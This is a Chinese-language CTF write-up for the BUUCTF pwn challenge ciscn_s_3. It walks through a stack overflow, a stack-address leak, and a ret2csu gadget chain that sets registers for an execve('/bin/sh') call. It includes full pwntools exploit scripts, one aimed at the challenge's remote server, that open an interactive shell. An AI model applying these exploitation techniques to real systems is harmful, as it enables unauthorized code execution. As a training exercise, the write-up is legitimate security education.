话不多说,直接上题(BUUCTF)
buf 给的大小过多,明显栈溢出
确认大小,但是没有找到可利用字符串及能泄露 libc 的函数
汇编下分析 vuln 函数发现缺少了 leave 指令(可参考栈迁移那一节)
所以函数调用完毕后并不会清空栈
因为 vunl 函数最后调用了 write 函数输出 20 字节数据,所以可以先泄露 buf 地址
from pwn import *
p = process('./ciscn_s_3')
gdb.attach(p)
vul_addr = 0x4004ed
payload = b'a' * 0x10 + p64(vul_addr)
p.send(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
print(hex(stack_addr))
按 ni 或 si 跟进
最后输入 exit 退出拿到打印的地址
相减得到 0x148(题目环境为 0x118)
再看题目中给的 gadgets,分别对 rax 赋予了 0xf(sigret), 和 0x3b(execve)
因此接下来就可以分为两种做法,目标都是控制寄存器的值来执行 execve
在 x86_64 架构下,execve
系统调用的参数通过寄存器传递:
-
rdi:
pathname
—/bin/sh
的地址 -
rsi:
argv
— 传递给程序的参数(此处为0
) -
rdx:
envp
— 环境变量(此处为0
)
__libc_csu_init
是一个常见的函数,用于在程序启动时初始化静态全局变量和进行一些库初始化工作。这个函数通常会被放置在程序的可执行文件的 .init
段中。它也是一种可以利用的 gadget,可以用来控制寄存器。
__libc_csu_init
的作用: 该函数通常包含一些对寄存器的修改操作,它的末尾可能正好是一个 pop
操作或类似的指令,因此可以通过链式利用(gadget chaining)来控制 rdi
、rsi
和 rdx
寄存器
接下来再造成一次溢出,进行 execve 函数调用,然后只要让 rdi=/bin/sh,rsi=0,rdx=0 即可获得 shell
没有直接找到设置 rdx 寄存器的指令,但是找到了改变 rdx 寄存器方法的指令
mov rdx, r13
pop r13
设置 r13 寄存器里的值,它其实是执行了两个步骤
第一步 mov,改变 r13 的值,之后 ret,进行地址跳转
我们可以用 pop r13 这个指令,先将 r13 设置为 0,只会 ret 到 mov rdx,r13,这样就将 rdx 设置为0了
但是将 rbx 设置为了 0,下面的 call 会变成执行 call ptr[12]
最后去找 pop rid;
构造 payload
from pwn import *
io = remote('node5.buuoj.cn',27324)
main = 0x0004004ED
execv = 0x04004E2
pop_rdi = 0x4005a3
pop_rbx_rbp_r12_r13_r14_r15 = 0x40059A
mov_rdxr13_call = 0x0400580
sys = 0x00400517
pl1 = b'/bin/sh\x00' * 2 + p64(main)
io.send(pl1)
io.recv(0x20)
sh = u64(io.recv(8)) - 280
pl2 = b'/bin/sh\x00' * 2 + p64(pop_rbx_rbp_r12_r13_r14_r15) + p64(0) * 2 + p64(sh + 0x50) + p64(0) * 3
pl2 += p64(mov_rdxr13_call) + p64(execv)
pl2 += p64(pop_rdi) + p64(sh) + p64(sys)
io.send(pl2)
io.interactive()
暂无评论内容